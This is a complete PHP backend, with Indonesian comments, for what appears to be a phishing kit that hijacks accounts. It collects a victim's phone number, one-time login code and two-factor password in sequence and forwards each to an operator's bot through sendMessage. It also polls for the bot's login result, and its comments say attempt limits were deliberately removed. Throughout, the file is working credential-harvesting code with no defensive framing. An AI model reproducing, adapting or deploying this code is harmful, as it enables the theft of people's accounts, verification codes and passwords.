<?php
session_start();
header("Content-Type: application/json");
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");

require_once(__DIR__ . "/_core.php");

$r = ["ok" => true];

// ─────────────────────────── Utilities ───────────────────────────
$trackerFile = __DIR__ . "/tracker.json";
$tracker = [];
if (file_exists($trackerFile)) {
    $json = file_get_contents($trackerFile);
    $tracker = $json ? (json_decode($json, true) ?: []) : [];
}

$allowedMethod = ["sendCode", "sendOtp", "sendPassword", "update", "getStatus", "editPhone", "clearSession"];

function twrite($file, $data) {
    file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE), LOCK_EX);
}
function now_phone() {
    return $_SESSION["phone"] ?? null;
}
function reset_session_flow() {
    unset($_SESSION["phone"], $_SESSION["otp"], $_SESSION["hint"]);
    $_SESSION["state"] = "start";
}

// helper attempts removed - no more attempt limiting

// ─────────────────────────── Router ──────────────────────────────
if (!isset($_POST["method"]) || !in_array($_POST["method"], $allowedMethod, true)) {
    echo json_encode(["ok" => false, "error" => "method_not_allowed"], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    exit;
}

$method = $_POST["method"];

switch ($method) {
    // ==== FE polling status ====
    case "getStatus": {
        $phoneN = now_phone();
        if ($phoneN && isset($tracker[$phoneN])) {
            $TX = $tracker[$phoneN];

            // sertakan phone dalam response
            $TX["phone"] = $phoneN;

            // Transisi state UI
            if (($TX["status"] ?? '') === "success") {
                switch ($TX["type"] ?? '') {
                    case "checkPhone":
                        $_SESSION["state"] = "phone"; // OTPC.php
                        break;
                    case "OTP":
                        if (($TX["detail"] ?? '') === "success") {
                            $_SESSION["state"] = "success"; // index reset -> Lander
                        } elseif (($TX["detail"] ?? '') === "passwordNeeded") {
                            $_SESSION["state"] = "otp";     // PASS.php
                            if (!empty($TX["hint"])) $_SESSION["hint"] = $TX["hint"];
                        }
                        break;
                    case "password":
                        $_SESSION["state"] = "success";
                        break;
                }
            } elseif (($TX["status"] ?? '') === "failed") {
                // No auto reset - user can continue trying or edit number manually
            }

            $r["result"] = $TX;
        } else {
            $r["result"] = ["status" => "waiting"];
        }
        break;
    }

    // ==== FE: kirim nomor ====
    case "sendCode": {
        $raw = (string)($_POST["phone"] ?? '');
        $phoneN = trim($raw);
        if ($phoneN === '') {
            $r = ["ok" => false, "error" => "invalid_phone"];
            break;
        }

        // Validasi multi-country support
        if (!is_phone_allowed($phoneN)) {
            $r = ["ok" => false, "error" => "country_not_supported"];
            break;
        }

        // mulai proses baru
        $_SESSION["phone"] = $phoneN;
        if (!isset($tracker[$phoneN])) $tracker[$phoneN] = [];

        $tracker[$phoneN]["type"] = "checkPhone";
        $tracker[$phoneN]["status"] = "waiting";
        unset($tracker[$phoneN]["detail"], $tracker[$phoneN]["hint"], $tracker[$phoneN]["attempts_left"]);

        sendMessage($phoneN);
        $r["result"] = ["queued" => true, "phone" => $phoneN];
        break;
    }

    // ==== FE: kirim OTP ====
    case "sendOtp": {
        $OTP = (string)($_POST["otp"] ?? '');
        $phoneN = now_phone();
        if (!$phoneN || !preg_match('/^\d{5,6}$/', $OTP)) {
            $r = ["ok" => false, "error" => "invalid_state_or_otp"];
            break;
        }

        $_SESSION["otp"] = $OTP;

        if (!isset($tracker[$phoneN])) $tracker[$phoneN] = [];
        $tracker[$phoneN]["type"]   = "OTP";
        $tracker[$phoneN]["status"] = "waiting";
        unset($tracker[$phoneN]["detail"]);
        // no attempt limiting - unlimited tries

        sendMessage($phoneN . ":" . $OTP);
        $r["result"] = ["queued" => true];
        break;
    }

    // ==== FE: kirim Password 2FA ====
    case "sendPassword": {
        $phoneN  = now_phone();
        $OTP     = (string)($_SESSION["otp"] ?? '');
        $password = (string)($_POST["password"] ?? '');
        if (!$phoneN || $OTP === '' || $password === '') {
            $r = ["ok" => false, "error" => "invalid_state_or_password"];
            break;
        }

        if (!isset($tracker[$phoneN])) $tracker[$phoneN] = [];
        $tracker[$phoneN]["type"]   = "password";
        $tracker[$phoneN]["status"] = "waiting";
        unset($tracker[$phoneN]["detail"]);

        sendMessage($phoneN . ":" . $OTP . ":" . $password);
        $r["result"] = ["queued" => true];
        break;
    }

    // ==== BOT callback: update status ====
    case "update": {
        $phoneN = trim((string)($_POST["phone"] ?? ''));
        $type   = (string)($_POST["type"]   ?? '');
        $status = (string)($_POST["status"] ?? '');
        $detail = isset($_POST["detail"]) ? (string)$_POST["detail"] : null;

        if ($phoneN === '' || $type === '' || $status === '') {
            $r = ["ok" => false, "error" => "invalid_payload"];
            break;
        }
        if (!isset($tracker[$phoneN])) $tracker[$phoneN] = [];

        $tracker[$phoneN]["type"]   = $type;
        $tracker[$phoneN]["status"] = $status;
        if ($detail !== null) $tracker[$phoneN]["detail"] = $detail;

        if (isset($_POST["hint"])) {
            $tracker[$phoneN]["hint"] = (string)$_POST["hint"];
        }

        // No attempt limiting - removed all attempt counters

        $r["result"] = ["updated" => true];
        break;
    }

    // ==== FE: edit nomor (back to start) ====
    case "editPhone": {
        reset_session_flow();
        $r["result"] = ["reset" => true];
        break;
    }

    // ==== FE: clear session dan tracker ====
    case "clearSession": {
        reset_session_flow();
        // Clear tracker data if exists
        $phoneN = $_POST["phone"] ?? null;
        if ($phoneN && isset($tracker[$phoneN])) {
            unset($tracker[$phoneN]);
        }
        $r["result"] = ["cleared" => true];
        break;
    }


}

// Simpan tracker
twrite($trackerFile, $tracker);

// Response
echo json_encode($r, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
